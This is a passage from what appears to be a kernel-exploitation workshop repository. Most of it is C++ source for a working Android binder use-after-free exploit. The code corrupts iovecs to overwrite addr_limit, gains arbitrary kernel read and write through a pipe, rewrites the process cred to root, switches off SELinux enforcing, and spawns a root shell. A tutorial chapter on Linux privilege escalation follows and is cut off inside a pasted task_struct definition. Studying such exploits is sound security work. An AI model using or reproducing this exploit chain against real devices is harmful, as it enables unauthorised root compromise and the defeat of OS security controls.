419 | INFO("\t[*] Socketpair created successfully\n"); 420 | } 421 | 422 | // 423 | // We will just write junk data to socket so that when recvmsg 424 | // is called it process the fist valid iovec with this junk data 425 | // and then blocks and waits for the rest of the data to be received 426 | // 427 | 428 | static char junkSocketData[] = { 429 | 0x41 430 | }; 431 | 432 | INFO("[+] Writing junk data to socket\n"); 433 | 434 | nBytesWritten = write(sock_fd[1], &junkSocketData, sizeof(junkSocketData)); 435 | 436 | if (nBytesWritten != sizeof(junkSocketData)) { 437 | ERR("\t[-] write failed. nBytesWritten: 0x%lx, expected: 0x%lx\n", nBytesWritten, sizeof(junkSocketData)); 438 | exit(EXIT_FAILURE); 439 | } 440 | 441 | // 442 | // Write junk data to the socket so that when recvmsg is 443 | // called, it process the first valid iovec with this junk 444 | // data and then blocks for the rest of the incoming socket data 445 | // 446 | 447 | INFO("[+] Setting up iovecs\n"); 448 | 449 | // 450 | // We want to block after processing the iovec at IOVEC_WQ_INDEX, 451 | // because then, we can trigger the unlink operation and get the 452 | // next iovecs corrupted to gain scoped write. 453 | // 454 | 455 | mmap4gbAlignedPage(); 456 | 457 | iovecStack[IOVEC_WQ_INDEX].iov_base = m_4gb_aligned_page; 458 | iovecStack[IOVEC_WQ_INDEX].iov_len = 1; 459 | iovecStack[IOVEC_WQ_INDEX + 1].iov_base = (void *) 0x41414141; 460 | iovecStack[IOVEC_WQ_INDEX + 1].iov_len = 0x8 + 0x8 + 0x8 + 0x8; 461 | iovecStack[IOVEC_WQ_INDEX + 2].iov_base = (void *) 0x42424242; 462 | iovecStack[IOVEC_WQ_INDEX + 2].iov_len = 0x8; 463 | 464 | // 465 | // Prepare the data buffer that will be written to socket 466 | // 467 | 468 | // 469 | // Setting addr_limit to 0xFFFFFFFFFFFFFFFF in arm64 470 | // will result in crash because of a check in do_page_fault 471 | // However, x86_64 does not have this check. But it's better 472 | // to set it to 0xFFFFFFFFFFFFFFFE so that this same code can 473 | // be used in arm64 as well. 474 | // 475 | 476 | static uint64_t finalSocketData[] = { 477 | 0x1, // iovecStack[IOVEC_WQ_INDEX].iov_len 478 | 0x41414141, // iovecStack[IOVEC_WQ_INDEX + 1].iov_base 479 | 0x8 + 0x8 + 0x8 + 0x8, // iovecStack[IOVEC_WQ_INDEX + 1].iov_len 480 | (uint64_t) ((uint8_t *) m_task_struct + 481 | OFFSET_TASK_STRUCT_ADDR_LIMIT), // iovecStack[IOVEC_WQ_INDEX + 2].iov_base 482 | 0xFFFFFFFFFFFFFFFE // addr_limit value 483 | }; 484 | 485 | // 486 | // Prepare the message 487 | // 488 | 489 | message.msg_iov = iovecStack; 490 | message.msg_iovlen = IOVEC_COUNT; 491 | 492 | // 493 | // Now link the poll wait queue to binder thread wait queue 494 | // 495 | 496 | linkEventPollWaitQueueToBinderThreadWaitQueue(); 497 | 498 | // 499 | // We should trigger the unlink operation when we 500 | // have the binder_thread reallocated as iovec array 501 | // 502 | 503 | // 504 | // Now fork 505 | // 506 | 507 | pid_t childPid = fork(); 508 | 509 | if (childPid == 0) { 510 | // 511 | // child process 512 | // 513 | 514 | // 515 | // There is a race window between the unlink and blocking 516 | // in writev, so sleep for a while to ensure that we are 517 | // blocking in writev before the unlink happens 518 | // 519 | 520 | sleep(2); 521 | 522 | // 523 | // Trigger the unlink operation on the reallocated chunk 524 | // 525 | 526 | unlinkEventPollWaitQueueFromBinderThreadWaitQueue(); 527 | 528 | // 529 | // Now, at this point, the iovecStack[IOVEC_WQ_INDEX].iov_len 530 | // and iovecStack[IOVEC_WQ_INDEX + 1].iov_base is clobbered 531 | // 532 | // Write rest of the data to the socket so that recvmsg starts 533 | // processing the corrupted iovecs and we get scoped write and 534 | // finally arbitrary write 535 | // 536 | 537 | nBytesWritten = write(sock_fd[1], finalSocketData, sizeof(finalSocketData)); 538 | 539 | if (nBytesWritten != sizeof(finalSocketData)) { 540 | ERR("\t[-] write failed. nBytesWritten: 0x%lx, expected: 0x%lx", nBytesWritten, sizeof(finalSocketData)); 541 | exit(EXIT_FAILURE); 542 | } 543 | 544 | exit(EXIT_SUCCESS); 545 | 546 | } 547 | 548 | // 549 | // parent process 550 | // 551 | 552 | // 553 | // I have seen some races which hinders the reallocation. 554 | // So, now freeing the binder_thread after fork. 555 | // 556 | 557 | freeBinderThread(); 558 | 559 | // 560 | // Reallocate binder_thread as iovec array and 561 | // we need to make sure this recvmsg call blocks. 562 | // 563 | // recvmsg will block after processing a valid iovec at 564 | // iovecStack[IOVEC_WQ_INDEX] 565 | // 566 | 567 | ssize_t nBytesReceived = recvmsg(sock_fd[0], &message, MSG_WAITALL); 568 | 569 | // 570 | // If the corruption was successful, the total bytes received 571 | // should be equal to length of all iovec. This is because there 572 | // are three valid iovec 573 | // 574 | 575 | ssize_t expectedBytesReceived = iovecStack[IOVEC_WQ_INDEX].iov_len + 576 | iovecStack[IOVEC_WQ_INDEX + 1].iov_len + 577 | iovecStack[IOVEC_WQ_INDEX + 2].iov_len; 578 | 579 | if (nBytesReceived != expectedBytesReceived) { 580 | ERR("\t[-] recvmsg failed. nBytesReceived: 0x%lx, expected: 0x%lx\n", nBytesReceived, expectedBytesReceived); 581 | exit(EXIT_FAILURE); 582 | } 583 | 584 | // 585 | // Wait for the child process to exit 586 | // 587 | 588 | wait(nullptr); 589 | } 590 | 591 | 592 | /** 593 | * Initialize kernel read write pipe 594 | */ 595 | void BinderUaF::initKernelReadWritePipe() { 596 | // 597 | // Setup the pipe that will be used for 598 | // arbitrary kernel read/write primitive 599 | // 600 | 601 | INFO("[+] Setting up pipe for kernel read/write\n"); 602 | 603 | if (pipe(m_kernel_rw_pipe_fd) == -1) { 604 | ERR("\t[-] Unable to create pipe\n"); 605 | exit(EXIT_FAILURE); 606 | } else { 607 | INFO("\t[*] Pipe created successfully\n"); 608 | } 609 | } 610 | 611 | 612 | /** 613 | * Verify arbitrary read write primitive 614 | */ 615 | void BinderUaF::verifyArbitraryReadWrite() { 616 | INFO("[+] Verifying arbitrary read/write primitive\n"); 617 | 618 | // 619 | // Get the current pid 620 | // 621 | 622 | pid_t currentPid = getpid(); 623 | 624 | // 625 | // Expected pid from task_struct 626 | // 627 | 628 | pid_t expectedPid = 0; 629 | 630 | // 631 | // Now read the pid from the task_struct 632 | // 633 | 634 | expectedPid = kReadDword(m_pidAddress); 635 | 636 | INFO("\t[*] currentPid: %d\n", currentPid); 637 | INFO("\t[*] expectedPid: %d\n", expectedPid); 638 | 639 | if (currentPid != expectedPid) { 640 | ERR("\t[-] Arbitrary read/write failed\n"); 641 | exit(EXIT_FAILURE); 642 | } else { 643 | INFO("\t[*] Arbitrary read/write successful\n"); 644 | } 645 | } 646 | 647 | 648 | /** 649 | * Read from arbitrary address 650 | * 651 | * @param Address: address from where to read 652 | * @param Length: how much to read 653 | * @param uBuffer: output user buffer 654 | */ 655 | void BinderUaF::kRead(void *Address, size_t Length, void *uBuffer) { 656 | // 657 | // Once the addr_limit is clobbered, it's 658 | // easy to gain arbitrary read primitive 659 | // 660 | 661 | // 662 | // Write the data from kernel address to the fd 663 | // 664 | 665 | ssize_t nBytesWritten = write(m_kernel_rw_pipe_fd[1], Address, Length); 666 | 667 | if ((size_t) nBytesWritten != Length) { 668 | ERR("[-] Failed to write data from kernel: %p", Address); 669 | exit(EXIT_FAILURE); 670 | } 671 | 672 | ssize_t nBytesRead = read(m_kernel_rw_pipe_fd[0], uBuffer, Length); 673 | 674 | if ((size_t) nBytesRead != Length) { 675 | ERR("[-] Failed to read data from kernel: %p", Address); 676 | exit(EXIT_FAILURE); 677 | } 678 | 679 | } 680 | 681 | 682 | /** 683 | * Write to arbitrary address 684 | * 685 | * @param Address: address where to write 686 | * @param Length: how much to write 687 | * @param uBuffer: input user buffer 688 | */ 689 | void BinderUaF::kWrite(void *Address, size_t Length, void *uBuffer) { 690 | // 691 | // Write the data from kernel address to the fd 692 | // 693 | 694 | ssize_t nBytesWritten = write(m_kernel_rw_pipe_fd[1], uBuffer, Length); 695 | 696 | if ((size_t) nBytesWritten != Length) { 697 | ERR("[-] Failed to write data from user: %p", Address); 698 | exit(EXIT_FAILURE); 699 | } 700 | 701 | ssize_t nBytesRead = read(m_kernel_rw_pipe_fd[0], Address, Length); 702 | 703 | if ((size_t) nBytesRead != Length) { 704 | ERR("[-] Failed to write data to kernel: %p", Address); 705 | exit(EXIT_FAILURE); 706 | } 707 | 708 | } 709 | 710 | 711 | /** 712 | * Read qword from arbitrary address 713 | * 714 | * @param Address: address from where to read 715 | * @return: qword 716 | */ 717 | uint64_t BinderUaF::kReadQword(void *Address) { 718 | uint64_t buffer = 0; 719 | 720 | kRead(Address, sizeof(buffer), &buffer); 721 | return buffer; 722 | } 723 | 724 | 725 | /** 726 | * Read dword from arbitrary address 727 | * 728 | * @param Address: address from where to read 729 | * @return: dword 730 | */ 731 | uint32_t BinderUaF::kReadDword(void *Address) { 732 | uint32_t buffer = 0; 733 | 734 | kRead(Address, sizeof(buffer), &buffer); 735 | return buffer; 736 | } 737 | 738 | 739 | /** 740 | * Write dword to arbitrary address 741 | * 742 | * @param Address: address where to write 743 | * @param Value: value to write 744 | */ 745 | void BinderUaF::kWriteDword(void *Address, uint32_t Value) { 746 | kWrite(Address, sizeof(Value), &Value); 747 | } 748 | 749 | 750 | /** 751 | * Write qword to arbitrary address 752 | * 753 | * @param Address: address where to write 754 | * @param Value: value to write 755 | */ 756 | void BinderUaF::kWriteQword(void *Address, uint64_t Value) { 757 | kWrite(Address, sizeof(Value), &Value); 758 | } 759 | 760 | 761 | /** 762 | * Patch cred data structure 763 | */ 764 | void BinderUaF::patchCred() { 765 | // 766 | // To achieve root we need to patch the cred structure 767 | // 768 | // Pointer to cred is stored in task_struct 769 | // 770 | 771 | // 772 | // To root basically we need to do this: 773 | // 774 | // commit_cred(prepare_kernel_cred(0)); 775 | // 776 | 777 | // 778 | // struct cred init_cred = { 779 | // .usage = ATOMIC_INIT(4), 780 | // .uid = GLOBAL_ROOT_UID, 781 | // .gid = GLOBAL_ROOT_GID, 782 | // .suid = GLOBAL_ROOT_UID, 783 | // .sgid = GLOBAL_ROOT_GID, 784 | // .euid = GLOBAL_ROOT_UID, 785 | // .egid = GLOBAL_ROOT_GID, 786 | // .fsuid = GLOBAL_ROOT_UID, 787 | // .fsgid = GLOBAL_ROOT_GID, 788 | // .securebits = SECUREBITS_DEFAULT, 789 | // .cap_inheritable = CAP_EMPTY_SET, 790 | // .cap_permitted = CAP_FULL_SET, 791 | // .cap_effective = CAP_FULL_SET, 792 | // .cap_bset = CAP_FULL_SET, 793 | // .user = INIT_USER, 794 | // .user_ns = &init_user_ns, 795 | // .group_info = &init_groups, 796 | // }; 797 | 798 | // 799 | // Read the address of cred from task_struct 800 | // 801 | 802 | INFO("[+] Patching current task cred members\n"); 803 | 804 | m_cred = (struct cred *) kReadQword(m_credAddress); 805 | 806 | if (!m_cred) { 807 | ERR("\t[-] Failed to read cred: %p", m_credAddress); 808 | exit(EXIT_FAILURE); 809 | } 810 | 811 | INFO("\t[*] cred: %p\n", m_cred); 812 | 813 | // 814 | // Now patch the cred structure members 815 | // 816 | 817 | kWriteDword((void *) ((uint8_t *) m_cred + offsetof(struct cred, uid)), GLOBAL_ROOT_UID); 818 | kWriteDword((void *) ((uint8_t *) m_cred + offsetof(struct cred, gid)), GLOBAL_ROOT_GID); 819 | kWriteDword((void *) ((uint8_t *) m_cred + offsetof(struct cred, suid)), GLOBAL_ROOT_UID); 820 | kWriteDword((void *) ((uint8_t *) m_cred + offsetof(struct cred, sgid)), GLOBAL_ROOT_GID); 821 | kWriteDword((void *) ((uint8_t *) m_cred + offsetof(struct cred, euid)), GLOBAL_ROOT_UID); 822 | kWriteDword((void *) ((uint8_t *) m_cred + offsetof(struct cred, egid)), GLOBAL_ROOT_GID); 823 | kWriteDword((void *) ((uint8_t *) m_cred + offsetof(struct cred, fsuid)), GLOBAL_ROOT_UID); 824 | kWriteDword((void *) ((uint8_t *) m_cred + offsetof(struct cred, fsgid)), GLOBAL_ROOT_GID); 825 | kWriteDword((void *) ((uint8_t *) m_cred + offsetof(struct cred, securebits)), SECUREBITS_DEFAULT); 826 | kWriteQword((void *) ((uint8_t *) m_cred + offsetof(struct cred, cap_inheritable)), CAP_EMPTY_SET); 827 | kWriteQword((void *) ((uint8_t *) m_cred + offsetof(struct cred, cap_permitted)), CAP_FULL_SET); 828 | kWriteQword((void *) ((uint8_t *) m_cred + offsetof(struct cred, cap_effective)), CAP_FULL_SET); 829 | kWriteQword((void *) ((uint8_t *) m_cred + offsetof(struct cred, cap_bset)), CAP_FULL_SET); 830 | kWriteQword((void *) ((uint8_t *) m_cred + offsetof(struct cred, cap_ambient)), CAP_EMPTY_SET); 831 | } 832 | 833 | 834 | /** 835 | * Disable selinux enforcing globally 836 | */ 837 | void BinderUaF::disableSELinuxEnforcing() { 838 | // 839 | // Check if selinux enforcing is enabled 840 | // 841 | 842 | INFO("[+] Verifying if selinux enforcing is enabled\n"); 843 | 844 | // 845 | // selinux_enforcing is a global variable which 846 | // control whether selinux is enabled or disabled 847 | // 848 | // By default selinux_enforcing is set to 0x1 which 849 | // means it's globally enabled 850 | // 851 | 852 | // 853 | // task_struct has a pointer to global data structure nsproxy, 854 | // reading that pointer will allow us to break KASLR 855 | // 856 | 857 | ptrdiff_t nsProxy = kReadQword(m_nsproxyAddress); 858 | 859 | if (!nsProxy) { 860 | ERR("\t[-] Failed to read nsproxy: %p", m_nsproxyAddress); 861 | exit(EXIT_FAILURE); 862 | } 863 | 864 | ptrdiff_t kernelBase = nsProxy - SYMBOL_OFFSET_init_nsproxy; 865 | auto selinuxEnforcing = (void *) (kernelBase + SYMBOL_OFFSET_selinux_enforcing); 866 | 867 | INFO("\t[*] nsproxy: 0x%lx\n", nsProxy); 868 | INFO("\t[*] Kernel base: 0x%lx\n", kernelBase); 869 | INFO("\t[*] selinux_enforcing: %p\n", selinuxEnforcing); 870 | 871 | int selinuxEnabled = kReadDword(selinuxEnforcing); 872 | 873 | if (!selinuxEnabled) { 874 | INFO("\t[*] selinux enforcing is disabled\n"); 875 | return; 876 | } 877 | 878 | INFO("\t[*] selinux enforcing is enabled\n"); 879 | 880 | // 881 | // Now patch selinux_enforcing 882 | // 883 | 884 | kWriteDword(selinuxEnforcing, 0x0); 885 | 886 | INFO("\t[*] Disabled selinux enforcing\n"); 887 | } 888 | 889 | 890 | /** 891 | * Verify if rooting is successful 892 | */ 893 | void BinderUaF::verifyRoot() { 894 | INFO("[+] Verifying if rooted\n"); 895 | 896 | uid_t realUserId = getuid(); 897 | 898 | INFO("\t[*] uid: 0x%x\n", realUserId); 899 | 900 | // 901 | // If the cred patching was successful, 902 | // we should get the uid as 0 903 | // 904 | 905 | if (realUserId != 0) { 906 | ERR("\t[-] Rooting failed\n"); 907 | exit(EXIT_FAILURE); 908 | } else { 909 | INFO("\t[*] Rooting successful\n"); 910 | } 911 | } 912 | 913 | 914 | /** 915 | * Spawn root shell 916 | */ 917 | void BinderUaF::spawnRootShell() { 918 | // 919 | // Spawn root shell 920 | // 921 | 922 | INFO("[+] Spawning root shell\n"); 923 | 924 | system("/bin/sh"); 925 | } 926 | 927 | 928 | /** 929 | * Program entry point 930 | * 931 | * @return: success or failure 932 | */ 933 | int main() { 934 | auto *binderUaF = new BinderUaF(); 935 | 936 | // 937 | // Bind to CPU 0 938 | // 939 | 940 | binderUaF->bindToCPU(); 941 | 942 | // 943 | // Leak current task_struct 944 | // 945 | 946 | binderUaF->leakTaskStruct(); 947 | 948 | // 949 | // Clobber addr_limit 950 | // 951 | 952 | binderUaF->clobberAddrLimit(); 953 | 954 | // 955 | // Initialize pipe to be used for arbitrary read/write 956 | // 957 | 958 | binderUaF->initKernelReadWritePipe(); 959 | 960 | // 961 | // Verify arbitrary read/write primitive 962 | // 963 | 964 | binderUaF->verifyArbitraryReadWrite(); 965 | 966 | // 967 | // Patch cred structure members 968 | // 969 | 970 | binderUaF->patchCred(); 971 | 972 | // 973 | // Disable selinux enforcing 974 | // 975 | 976 | binderUaF->disableSELinuxEnforcing(); 977 | 978 | // 979 | // Verify if rooting successful 980 | // 981 | 982 | binderUaF->verifyRoot(); 983 | 984 | // 985 | // Spawn root shell 986 | // 987 | 988 | binderUaF->spawnRootShell(); 989 | 990 | return EXIT_SUCCESS; 991 | } -------------------------------------------------------------------------------- /gitbook/chapters/linux-privilege-escalation.md: -------------------------------------------------------------------------------- 1 | # Linux Privilege Escalation 2 | 3 | The end goal of this workshop is to use a **Android** kernel **vulnerability** to achieve privilege escalation i.e `root`. In **Linux** `root` is the super user with `uid=0(root) gid=0(root)` and has all the access rights. 4 | 5 | 6 | ## Light Weight Process {#light-weight-process} 7 | 8 | Linux uses **Light Weight Process** to implement better support multi-threading. Each **light weight process** is assigned a process descriptor called `task_struct` and is defined in `include/linux/sched.h`. 9 | 10 | ```c 11 | struct task_struct { 12 | #ifdef CONFIG_THREAD_INFO_IN_TASK 13 | /* 14 | * For reasons of header soup (see current_thread_info()), this 15 | * must be the first element of task_struct. 16 | */ 17 | struct thread_info thread_info; 18 | #endif 19 | /* -1 unrunnable, 0 runnable, >0 stopped: */ 20 | volatile long state; 21 | 22 | /* 23 | * This begins the randomizable portion of task_struct. Only 24 | * scheduling-critical items should be added above here. 25 | */ 26 | randomized_struct_fields_start 27 | 28 | void *stack; 29 | atomic_t usage; 30 | /* Per task flags (PF_*), defined further below: */ 31 | unsigned int flags; 32 | unsigned int ptrace; 33 | 34 | #ifdef CONFIG_SMP 35 | struct llist_node wake_entry; 36 | int on_cpu; 37 | #ifdef CONFIG_THREAD_INFO_IN_TASK 38 | /* Current CPU: */ 39 | unsigned int cpu; 40 | #endif 41 | unsigned int wakee_flips; 42 | unsigned long wakee_flip_decay_ts; 43 | struct task_struct *last_wakee; 44 | 45 | int wake_cpu; 46 | #endif 47 | int on_rq; 48 | 49 | int prio; 50 | int static_prio; 51 | int normal_prio; 52 | unsigned int rt_priority; 53 | 54 | const struct sched_class *sched_class; 55 | struct sched_entity se; 56 | struct sched_rt_entity rt; 57 | #ifdef CONFIG_SCHED_WALT 58 | struct ravg ravg; 59 | /* 60 | * 'init_load_pct' represents the initial task load assigned to children 61 | * of this task 62 | */ 63 | u32 init_load_pct; 64 | u64 last_sleep_ts; 65 | #endif 66 | 67 | #ifdef CONFIG_CGROUP_SCHED 68 | struct task_group *sched_task_group; 69 | #endif 70 | struct sched_dl_entity dl; 71 | 72 | #ifdef CONFIG_PREEMPT_NOTIFIERS 73 | /* List of struct preempt_notifier: */ 74 | struct hlist_head preempt_notifiers; 75 | #endif 76 | 77 | #ifdef CONFIG_BLK_DEV_IO_TRACE 78 | unsigned int btrace_seq; 79 | #endif 80 | 81 | unsigned int policy; 82 | int nr_cpus_allowed; 83 | cpumask_t cpus_allowed; 84 | 85 | #ifdef CONFIG_PREEMPT_RCU 86 | int rcu_read_lock_nesting; 87 | union rcu_special rcu_read_unlock_special; 88 | struct list_head rcu_node_entry; 89 | struct rcu_node *rcu_blocked_node; 90 | #endif /* #ifdef CONFIG_PREEMPT_RCU */ 91 | 92 | #ifdef CONFIG_TASKS_RCU 93 | unsigned long rcu_tasks_nvcsw; 94 | u8 rcu_tasks_holdout; 95 | u8 rcu_tasks_idx; 96 | int rcu_tasks_idle_cpu; 97 | struct list_head rcu_tasks_holdout_list; 98 | #endif /* #ifdef CONFIG_TASKS_RCU */ 99 | 100 | struct sched_info sched_info; 101 | 102 | struct list_head tasks; 103 | #ifdef CONFIG_SMP 104 | struct plist_node pushable_tasks; 105 | struct rb_node pushable_dl_tasks; 106 | #endif 107 | 108 | struct mm_struct *mm; 109 | struct mm_struct *active_mm; 110 | 111 | /* Per-thread vma caching: */ 112 | struct vmacache vmacache; 113 | 114 | #ifdef SPLIT_RSS_COUNTING 115 | struct task_rss_stat rss_stat; 116 | #endif 117 | int exit_state; 118 | int exit_code; 119 | int exit_signal; 120 | /* The signal sent when the parent dies: */ 121 | int pdeath_signal; 122 | /* JOBCTL_*, siglock protected: */ 123 | unsigned long jobctl; 124 | 125 | /* Used for emulating ABI behavior of previous Linux versions: */ 126 | unsigned int personality; 127 | 128 | /* Scheduler bits, serialized by scheduler locks: */ 129 | unsigned sched_reset_on_fork:1; 130 | unsigned sched_contributes_to_load:1; 131 | unsigned sched_migrated:1; 132 | unsigned sched_remote_wakeup:1; 133 | #ifdef CONFIG_PSI 134 | unsigned sched_psi_wake_requeue:1; 135 | #endif 136 | 137 | /* Force alignment to the next boundary: */ 138 | unsigned :0; 139 | 140 | /* Unserialized, strictly 'current' */ 141 | 142 | /* Bit to tell LSMs we're in execve(): */ 143 | unsigned in_execve:1; 144 | unsigned in_iowait:1; 145 | #ifndef TIF_RESTORE_SIGMASK 146 | unsigned restore_sigmask:1; 147 | #endif 148 | #ifdef CONFIG_MEMCG 149 | unsigned memcg_may_oom:1; 150 | #ifndef CONFIG_SLOB 151 | unsigned memcg_kmem_skip_account:1; 152 | #endif 153 | #endif 154 | #ifdef CONFIG_COMPAT_BRK 155 | unsigned brk_randomized:1; 156 | #endif 157 | #ifdef CONFIG_CGROUPS 158 | /* disallow userland-initiated cgroup migration */ 159 | unsigned no_cgroup_migration:1; 160 | #endif 161 | 162 | unsigned long atomic_flags; /* Flags requiring atomic access. */ 163 | 164 | struct restart_block restart_block; 165 | 166 | pid_t pid; 167 | pid_t tgid; 168 | 169 | #ifdef CONFIG_CC_STACKPROTECTOR 170 | /* Canary value for the -fstack-protector GCC feature: */ 171 | unsigned long stack_canary; 172 | #endif 173 | /* 174 | * Pointers to the (original) parent process, youngest child, younger sibling, 175 | * older sibling, respectively. (p->father can be replaced with 176 | * p->real_parent->pid) 177 | */ 178 | 179 | /* Real parent process: */ 180 | struct task_struct __rcu *real_parent; 181 | 182 | /* Recipient of SIGCHLD, wait4() reports: */ 183 | struct task_struct __rcu *parent; 184 | 185 | /* 186 | * Children/sibling form the list of natural children: 187 | */ 188 | struct list_head children; 189 | struct list_head sibling; 190 | struct task_struct *group_leader; 191 | 192 | /* 193 | * 'ptraced' is the list of tasks this task is using ptrace() on. 194 | * 195 | * This includes both natural children and PTRACE_ATTACH targets. 196 | * 'ptrace_entry' is this task's link on the p->parent->ptraced list. 197 | */ 198 | struct list_head ptraced; 199 | struct list_head ptrace_entry; 200 | 201 | /* PID/PID hash table linkage. */ 202 | struct pid_link pids[PIDTYPE_MAX]; 203 | struct list_head thread_group; 204 | struct list_head thread_node; 205 | 206 | struct completion *vfork_done; 207 | 208 | /* CLONE_CHILD_SETTID: */ 209 | int __user *set_child_tid; 210 | 211 | /* CLONE_CHILD_CLEARTID: */ 212 | int __user *clear_child_tid; 213 | 214 | u64 utime; 215 | u64 stime; 216 | #ifdef CONFIG_ARCH_HAS_SCALED_CPUTIME 217 | u64 utimescaled; 218 | u64 stimescaled; 219 | #endif 220 | u64 gtime; 221 | #ifdef CONFIG_CPU_FREQ_TIMES 222 | u64 *time_in_state; 223 | unsigned int max_state; 224 | #endif 225 | struct prev_cputime prev_cputime; 226 | #ifdef CONFIG_VIRT_CPU_ACCOUNTING_GEN 227 | struct vtime vtime; 228 | #endif 229 | 230 | #ifdef CONFIG_NO_HZ_FULL 231 | atomic_t tick_dep_mask; 232 | #endif 233 | /* Context switch counts: */ 234 | unsigned long nvcsw; 235 | unsigned long nivcsw; 236 | 237 | /* Monotonic time in nsecs: */ 238 | u64 start_time; 239 | 240 | /* Boot based time in nsecs: */ 241 | u64 real_start_time; 242 | 243 | /* MM fault and swap info: this can arguably be seen as either mm-specific or thread-specific: */ 244 | unsigned long min_flt; 245 | unsigned long maj_flt; 246 | 247 | #ifdef CONFIG_POSIX_TIMERS 248 | struct task_cputime cputime_expires; 249 | struct list_head cpu_timers[3]; 250 | #endif 251 | 252 | /* Process credentials: */ 253 | 254 | /* Tracer's credentials at attach: */ 255 | const struct cred __rcu *ptracer_cred; 256 | 257 | /* Objective and real subjective task credentials (COW): */ 258 | const struct cred __rcu *real_cred; 259 | 260 | /* Effective (overridable) subjective task credentials (COW): */ 261 | const struct cred __rcu *cred; 262 | 263 | /* 264 | * executable name, excluding path. 265 | * 266 | * - normally initialized setup_new_exec() 267 | * - access it with [gs]et_task_comm() 268 | * - lock it with task_lock() 269 | */ 270 | char comm[TASK_COMM_LEN]; 271 | 272 | struct nameidata *nameidata; 273 | 274 | #ifdef CONFIG_SYSVIPC 275 | struct sysv_sem sysvsem; 276 | struct sysv_shm sysvshm; 277 | #endif 278 | #ifdef CONFIG_DETECT_HUNG_TASK 279 | unsigned long last_switch_count; 280 | #endif 281 | /* Filesystem information: */ 282 | struct fs_struct *fs; 283 | 284 | /* Open file information: */ 285 | struct files_struct *files; 286 | 287 | /* Namespaces: */ 288 | struct nsproxy *nsproxy; 289 | 290 | /* Signal handlers: */ 291 | struct signal_struct *signal; 292 | struct sighand_struct *sighand; 293 | sigset_t blocked; 294 | sigset_t real_blocked; 295 | /* Restored if set_restore_sigmask() was used: */ 296 | sigset_t saved_sigmask; 297 | struct sigpending pending; 298 | unsigned long sas_ss_sp; 299 | size_t sas_ss_size; 300 | unsigned int sas_ss_flags; 301 | 302 | struct callback_head *task_works; 303 | 304 | struct audit_context *audit_context; 305 | #ifdef CONFIG_AUDITSYSCALL 306 | kuid_t loginuid; 307 | unsigned int sessionid; 308 | #endif 309 | struct seccomp seccomp; 310 | 311 | /* Thread group tracking: */ 312 | u32 parent_exec_id; 313 | u32 self_exec_id; 314 | 315 | /* Protection against (de-)allocation: mm, files, fs, tty, keyrings, mems_allowed, mempolicy: */ 316 | spinlock_t alloc_lock; 317 | 318 | /* Protection of the PI data structures: */ 319 | raw_spinlock_t pi_lock; 320 | 321 | struct wake_q_node wake_q; 322 | 323 | #ifdef CONFIG_RT_MUTEXES 324 | /* PI waiters blocked on a rt_mutex held by this task: */ 325 | struct rb_root_cached pi_waiters; 326 | /* Updated under owner's pi_lock and rq lock */ 327 | struct task_struct *pi_top_task; 328 | /* Deadlock detection and priority inheritance handling: */ 329 | struct rt_mutex_waiter *pi_blocked_on; 330 | #endif 331 | 332 | #ifdef CONFIG_DEBUG_MUTEXES 333 | /* Mutex deadlock detection: */ 334 | struct mutex_waiter *blocked_on; 335 | #endif 336 | 337 | #ifdef CONFIG_TRACE_IRQFLAGS 338 | unsigned int irq_events; 339 | unsigned long hardirq_enable_ip; 340 | unsigned long hardirq_disable_ip; 341 | unsigned int hardirq_enable_event; 342 | unsigned int hardirq_disable_event; 343 | int hardirqs_enabled; 344 | int hardirq_context; 345 | unsigned long softirq_disable_ip; 346 | unsigned long softirq_enable_ip; 347 | unsigned int softirq_disable_event; 348 | unsigned int softirq_enable_event; 349 | int softirqs_enabled; 350 | int softirq_context; 351 | #endif 352 | 353 | #ifdef CONFIG_LOCKDEP 354 | # define MAX_LOCK_DEPTH 48UL 355 | u64 curr_chain_key; 356 | int lockdep_depth; 357 | unsigned int lockdep_recursion; 358 | struct held_lock held_locks[MAX_LOCK_DEPTH]; 359 | #endif 360 | 361 | #ifdef CONFIG_LOCKDEP_CROSSRELEASE 362 | #define MAX_XHLOCKS_NR 64UL 363 | struct hist_lock *xhlocks; /* Crossrelease history locks */ 364 | unsigned int xhlock_idx; 365 | /* For restoring at history boundaries */ 366 | unsigned int xhlock_idx_hist[XHLOCK_CTX_NR]; 367 | unsigned int hist_id; 368 | /* For overwrite check at each context exit */ 369 | unsigned int hist_id_save[XHLOCK_CTX_NR]; 370 | #endif 371 | 372 | #ifdef CONFIG_UBSAN 373 | unsigned int in_ubsan; 374 | #endif 375 | 376 | /* Journalling filesystem info: */ 377 | void *journal_info; 378 | 379 | /* Stacked block device info: */ 380 | struct bio_list *bio_list; 381 | 382 | #ifdef CONFIG_BLOCK 383 | /* Stack plugging: */ 384 | struct blk_plug *plug; 385 | #endif 386 | 387 | /* VM state: */ 388 | struct reclaim_state *reclaim_state; 389 | 390 | struct backing_dev_info *backing_dev_info; 391 | 392 | struct io_context *io_context; 393 | 394 | /* Ptrace state: */ 395 | unsigned long ptrace_message; 396 | siginfo_t *last_siginfo; 397 | 398 | struct task_io_accounting ioac; 399 | #ifdef CONFIG_PSI 400 | /* Pressure stall state */ 401 | unsigned int psi_flags; 402 | #endif 403 | #ifdef CONFIG_TASK_XACCT 404 | /* Accumulated RSS usage: */ 405 | u64 acct_rss_mem1; 406 | /* Accumulated virtual memory usage: */ 407 | u64 acct_vm_mem1; 408 | /* stime + utime since last update: */ 409 | u64 acct_timexpd; 410 | #endif 411 | #ifdef CONFIG_CPUSETS 412 | /* Protected by ->alloc_lock: */ 413 | nodemask_t mems_allowed; 414 | /* Seqence number to catch updates: */ 415 | seqcount_t mems_allowed_seq; 416 | int cpuset_mem_spread_rotor; 417 | int cpuset_slab_spread_rotor; 418 | #endif 419 | #ifdef CONFIG_CGROUPS 420 | /* Control Group info protected by css_set_lock: */ 421 | struct css_set __rcu *cgroups; 422 | /* cg_list protected by css_set_lock and tsk->alloc_lock: */ 423 | struct list_head cg_list; 424 | #endif 425 | #ifdef CONFIG_INTEL_RDT 426 | u32 closid; 427 | u32 rmid; 428 | #endif 429 | #ifdef CONFIG_FUTEX 430 | struct robust_list_head __user *robust_list; 431 | #ifdef CONFIG_COMPAT 432 | struct compat_robust_list_head __user *compat_robust_list; 433 | #endif 434 | struct list_head pi_state_list; 435 | struct futex_pi_state *pi_state_cache; 436 | #endif 437 | #ifdef CONFIG_PERF_EVENTS 438 | struct perf_event_context *perf_event_ctxp[perf_nr_task_contexts]; 439 | struct mutex perf_event_mutex; 440 | struct list_head perf_event_list; 441 | #endif 442 | #ifdef CONFIG_DEBUG_PREEMPT 443 | unsigned long preempt_disable_ip; 444 | #endif 445 | #ifdef 